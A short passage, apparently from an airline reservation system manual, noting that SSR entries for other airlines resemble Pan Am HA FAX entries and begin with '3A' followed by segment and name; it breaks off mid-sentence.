----------------- SSR entries for other airlines are very similar to Pan Am HA FAX entries. The entry begins with "3A", followed by the segment and name related